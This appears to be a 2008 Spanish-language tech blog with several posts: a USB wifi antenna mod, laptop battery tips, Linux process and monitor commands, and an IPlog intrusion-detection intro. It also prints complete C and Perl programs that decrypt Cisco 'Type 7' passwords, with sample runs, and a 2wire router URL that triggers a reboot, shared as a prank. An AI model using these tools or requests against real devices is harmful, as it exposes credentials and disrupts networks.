martes, 28 de octubre de 2008

Mod a mi targeta usb jeje la que me saca de pedos

que onda raza pues aquí de new con un chingo de trabajo de escuela pero no ay tos jaj bueno
esta vez e decidido modificar una de mis tarjetas wifi con chipset rt2500 que en mi distro lo identifico como rt2500usb sino no rula jej bueno pero esa es otra historia empecemos..
primero una foto para presentarles las usb (con hormiga jajaj )

























bueno pues abrirla la verdad no tiene ningún chiste pues solo hay que quitar los torillos que se encuentran el la parte de abajo de la usb que estan cubiertos con el plástico que evita que se resbale solo hay que despegarlos de su sitio y destornillar.
















después de tenerla la tapa de abajo fuera de su lugar podemos observar que el circuito es realmente sencillo para poder hacer el mod y adaptarle un conector del tipo mas común para poder conectar un pigtail y nuestra antena favorita claro para frecuencias 2,4 wifi jeje

















bueno pues después lo que vamos hacer es desoldar la antena que trae por default la azul que se mira en la imagen para poder soldar de nueva cuanta en ese mismo lugar al cable el cual nos va poder interconectar con otras antenas posteriormente, recomiendo que se aga con cuidado ya que si derramamos una gota de soldadura en cualquier parte de la placa wifi podemos dejar inservible nuestro adaptador..

































procedemos a soldar el cable con mucho cuidado







































al final solo queda ubicar y fijar bien nuestro conector RP-SMA en el plástico de la cubierta de la tarjeta wifi






































bueno pues terminando bien el mod podemos probar en este caso probare con lo que tenga ala mano una antena de 7 db y pues la neta si jalo mejor que con la que trae haora solo queda a su imaginacion que tanto probecho se le pueda sacar con este conector
bueno sale saludos byebye los veo despues jeje

sábado, 25 de octubre de 2008

Ahorrar batería en portatiles con GNU/Linux

Vamos a ver unos consejos para poder ahorrar bateria con GNU/Linux y también unas normas básicas que nos permitirán retrasar lo más posible el desgaste de nuestras baterías de portátil, que son lógicamente independiente del sistema operativo usado en nuestro portátil.

Consejos Lógicos (Software)

* Cuanto mayor es el tamaño de la pantalla más consume.

* Cuanto mayor es el Brillo más consume la batería, (Tecra S1).

* Cuantos más efectos gráficos (Como Beryl, transparencias, efectos de nvidia,..) más consume la batería.

* Cuanta más resolución más consume la batería.

* Cuanto más oscuro es el fondo de pantalla menos consumo de batería.

* Usar entornos minimalistas (W-maker, fluxbox, icewm) consume mucha menos batería.

* Desconectar wireless, altavoces, bluetooth, infrarrojos y demás cuando no se esté usando.

* Intentar hacer poco uso de lectores de CD/DVD. Si se requiere ver una película, escuchar música es recomendable pasarlo primero al disco duro y luego reproducirla desde allí.

* Usar cpudyn / cpufreq-selector para bajar el consumo de la CPU.

* Conocer la existencias de herramientas como powersave (KPowersave) y cpufrequtils .

NOTA: Cpufrequtils sería el equivalente al SpeedStep de Intel o PowerNow! / Cool'n'Quiet de AMD y nos puede ayudar a alargar la vida de la batería bajando la frecuencia del procesador.

Consejos Físicos (Hardware)

* En las baterías de litio (Las usadas actualmente), no es necesario dejarlas cargando más tiempo que el necesario para ser cargadas, tampoco le pasa nada a la batería sino se cargan del todo, el rendimiento de las baterías no se ve afectado si se carga por partes o de seguido, todo lo demás son mitos o consejos referentes a las antiguas baterias de Niquel, en las de litio podemos recargar la batería en cualquier nivel de carga sin perjudicarla.

* Es recomendable NO descargar del todo la batería, cuando el portátil nos muestre el 15% o 20% de batería disponible es bueno empezar a cargarla.

* Si no se va a usar el portátil en más de una semana es recomendable dejarla cerca del 40 % de carga mientras no se use.

* La oxidación de las celdas de la batería entres otras cosas se producen por el calor, debemos tener controlado ese factor, si por ejemplo lo usamos en casa y se nos calienta mucho podemos quitar la batería del portátil, pero claro, eso nos hace vulnerables a los cortes de luz y dependiendo del lugar el factor polvo

Con estos consejos se puede llegar a ahorrar horas de durabilidad a la batería en ordenadores portátiles / laptop. Muchos problemas de usuarios con las baterías son problemas derivados de hardware y bugs en el sistema operativo, los cuales impiden el correcto funcionamiento de la batería. Estos consejos no deben corregir esos problemas (Lo camuflarán), pero si la batería de tu portátil dura menos de lo normal sera problema físico o de algún bug del sistema, ya sea Windows, GNU/Linux o Mac. En los respectivo a los consejos para alargar la vida de la batería (Consejos físicos), decir queda que no tienen porque seguirse a rajatabla, son simples "buenas prácticas", no pasa nada si no se siguen al 100%.

Apagar el monitor en GNU/Linux

Si queremos dejar nuestro monitor hibernando / suspendido sin tener que esperar los típicos 10 minutos (Como lo tengamos definido) para que se apague, tenemos la posibilidad de usar este comando. Para volver a encender el monitor vale con mover el ratón de nuevo, podemos usarlo mediante comando o bien asignarlo a un icono de nuestro escritorio o como nosotros queramos.

$ xset dpms force off

Exploits para encriptacion tipo 7 de CISCO escritos en C y Perl



La encriptación denominada "Type 7" que los sistemas operativos IOS de Cisco hacía de sus claves para usuario (Entrada al modo enable, telnet, console, etc..) hace muchísimo tiempo que se consiguió romper (1997) ya que es un algoritmo muy débil. Realmente su funcionalidad es la de impedir que alguien obtenga la clave a simple vista mirando el fichero de configuración de un router / switch Cisco o mediante un listado de la configuración ("# show running-config").

Vamos a mostrar una colección de exploit creados en C (Original), perl y javascript junto con sus formas de aplicarlo, un juego de niños realmente. Esta debilidad en el algoritmo "tipo 7" es asumida por Cisco y en principio no supone un grave problema (o si,..), porque muchas veces el IOS de cisco necesita tener ciertas claves en claro para su uso en distintos protocolos usados por el router, la seguridad recae en el acceso al modo privilegiado, que en principio es el único usuario que puede ver las claves (Encriptadas o no). Por eso lo que demos proteger es la clave del modo enable (Modo administrador), la cual no conviene encriptarla mediante este algoritmo "type 7", para ello tenemos el conocido algoritmo de una sola via MD5 que como sabemos es mucho mas seguro.

- Establecer clave al modo privilegiado "enable" en con encriptación "tipo 7" (NO recomendado)

(config)# enable password ******* (La deja en texto claro)
(config)# service password-encriptation (Aplica la encriptación tipo 7 a todas las password no cifradas)

(config)# enable password 7 ******* (Insertando directamente la clave bajo Type 7)

- Establecer clave enable en modo MD5 (Recomendado)

(config)# enable secret *******

Veamos en que difieren estas password y como descifrar las claves bajo tipo 7. En una supuesta configuración de un router cisco podemos encontrar lineas referentes a los password como estas:

enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1 ->Usando enable secret (MD5)
password 7 045802150c2e -> Usando cifrado debil "type 7" (Hackeable)

En el siguiente ejemplo tenemos una clave encriptada mediante md5 y dos débiles (telnet y console)

Ejemplo:

---------------------------------------------------------------------------------
[busi@darkstar]$ cat start-up.config
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
password 7 094F471A1A0A2811040217252721
transport input none
line aux 0
line vty 0 4
password 7 045802150c2e
login
!
end
end
------------------------------------------------------------------------------

Exploit en C:



PLAIN TEXT
/* This code is originally from a Bugtraq post by
Jared Mauch . I patched it with an improved
translation table by Janos Zsako
-Fyodor (fyodor@dhp.com) */

#include
#include

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42
};

char pw_str1[] = " password 7 ";
char pw_str2[] = "enable password 7 ";
char pw_str3[] = "ip ftp password 7 ";
char pw_str4[] = " ip ospf message-digest-key 1 md5 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

if (seed> 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}

if(enc_pw[i]>= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p \n", pname);
fprintf(stdout, " %s \n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc> 1)
{
if(argc> 3) {
usage();
exit(1);
}

if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;

case 'p':
bzero(passwd, sizeof(passwd));
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc> 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i <256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;

if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!strncmp(line, pw_str3, strlen(pw_str3)))
pw_pos = strlen(pw_str3);
if(!strncmp(line, pw_str4, strlen(pw_str4)))
pw_pos = strlen(pw_str4);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

bzero(passwd, sizeof(passwd));
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else if (pw_pos == strlen(pw_str2))
fprintf(out, "%s", pw_str2);
else if (pw_pos == strlen(pw_str3))
fprintf(out, "%s", pw_str3);
else if (pw_pos == strlen(pw_str4))
fprintf(out, "%s", pw_str4);

fprintf(out, "%s\n", passwd);
}
}
}
-------------------------------------------------------------------------------



Exploit en Perl:
PLAIN TEXT
#!/usr/bin/perl -w
# $Id: cisco.passwords.html 3722 2006-07-28 03:53:26Z fyodor $
#
# Credits for orginal code and description hobbit@avian.org,
# SPHiXe, .mudge et al. and for John Bashinski
# for Cisco IOS password encryption facts.
#
# Use for any malice or illegal purposes strictly prohibited!
#

@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,
0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,
0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );

while (<>) {
if (/(password|md5)\s+7\s+([\da-f]+)/io) {
if (!(length($2) & 1)) {
$ep = $2; $dp = "";
($s, $e) = ($2 =~ /^(..)(.+)/o);
for ($i = 0; $i $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];
}
s/7\s+$ep/$dp/;
}
}
print;
}
# eof
--------------------------------------------------------------------------------

Veamos unos ejemplos de uso de estos exploits con el fichero de configuración mostrado al principio del articulo. Como podemos observar en el fichero de configuracion y a modo de recordatorio vemos que la password del modo privilegiado esta encriptada en md5, mientras que las del servidor telnet y el modo "console" están encriptadas con el débil algoritmo "tipo 7" de Cisco que serán los únicos dos que podemos obtener con los exploits.

Uso del exploit de C

* Usando Fichero de configuración

$ ./ciscohack start-up.config password_conseguidos
!
version 12.2
no service single-slot-reload-enable
service timestamps debug uptime
service timestamps log uptime
service password-encryption
!
hostname R1
!
logging rate-limit console 10 except errors
enable secret 5 $1$p4rZ$L95PhzMUME4ZZDh0DOAZv1
!
ip subnet-zero
!
!
no ip finger
!
no ip dhcp-client network-discovery
!
!
!
interface FastEthernet1/0
ip address 192.168.1.1 255.255.255.248
duplex auto
speed auto
!
ip classless
ip http server
!
!
line con 0
transport input none
line aux 0
line vty 0 4
login
!
end
end

NOTA: Al ejecutarse muestra el fichero de configuración pero sin los password obtenidos.

$ cat password_conseguidos
password 7 cisco_console
password 7 cisco

* Usando las claves

$ ./ciscohack -p 094F471A1A0A2811040217252721
password: cisco_console

$ ./ciscohack -p 045802150c2e
password: cisco

De los dos modos obtenemos las dos claves, "cisco_console" (telnet) y "cisco" (console).

Uso del exploit de Perl


$ perl ciscocrack.pl
password 7 094F471A1A0A2811040217252721
password cisco_console
password 7 045802150c2e
password cisco

Detectar escaneos de puertos y ataques DOS con IPlog (GNU/Linux / *BSD)



IPlog es una aplicación que corre sobre GNU/Linux, FreeBSD, OpenBSD y BSDI encargada de loguear tráfico TCP, UDP y ICMP para estudiarlo en tiempo real y avisarnos de la detección de alguno de estos tipos de acciones: Scans de puertos TCP/UDP, TCP null scans, FIN scans, TCP "Xmas" scans y ataques de denegación de servicio (DOS) del tipo: UDP & ICMP "smurf", bogus TCP flags, TCP SYN scans, ICMP ping floods y IP fragment attacks. Basa sus capacidades en la dependencia libpcap, muy utilizada en software de monitorización y análisis de redes.

Otra de sus reconocidas posibilidades es la de poder engañar a la funcionalidad de Nmap de reconocimiento del sistema operativo escaneado, imposibilitando la extracción del fingerprint correcto. Puede que no sea el programa más completo y liviano para este tipo de menesteres pero su facilidad de uso lo hace interesante en muchos escenarios y vamos a dedicar unas lineas a explicar la forma de uso de este programa.

Instalar IPLog: http://www.busindre.com/como-compilar-iplog-sin-errores-parche/

Matar todos los procesos de un usuario determinado en GNU/Linux

Para matar procesos en sistemas GNU/Linux se suele hacer uso de la orden kill, la cual en su uso "estandar" (kill pid) pide a la aplicación que termine ella sola por medio de una señal TERM, usadas por los programas para cerrarse correctamente, guardando temporales, cerrando ficheros, liberando memoria,.. Cuando el programa se ha colgado 100% y no responde a nuestras peticiones es muy probable que no responda a las señales TERM, en estos casos debemos usar una señal KILL para que el kernel cierre violentamente ese proceso liberando todos los recursos. En este post vamos a ver distintas formas de matar todos los procesos de un usuario determinado, lógicamente como root.

Usando Slay

# slay -9 usuario1 usuario2 ...
# slay -KILL usuario1 usuario2 ...
# slay usuario1 usuario2 ...


Podemos indicarle el numero de señal:

# slay -N usuario1 usuario2 ...

NOTA: "N" es el numero de señal; -KILL o -9 es lo mismo, cualquiera de los tres primeros comandos nos sirve para mandar señales KILL.


Descargar Slay: http://freshmeat.net/redir/slay/9643/url_tgz/Slay.1.2.tar.gz

viernes, 24 de octubre de 2008

2wire %25 Denial of Service jajaja divertido


Existe una vulnerabilidad en la interfaz de configuracion web de los 2wire que permite reiniciar los ruteadores con solo hacer una peticion ejemplo jeje diviertanse



http://gateway.2wire.net/xslt?page=%25 (CUIDADO)
http://192.168.1.254/xslt?page=%25 (CUIDADO)
http://home/xslt?page=%25 (CUIDADO)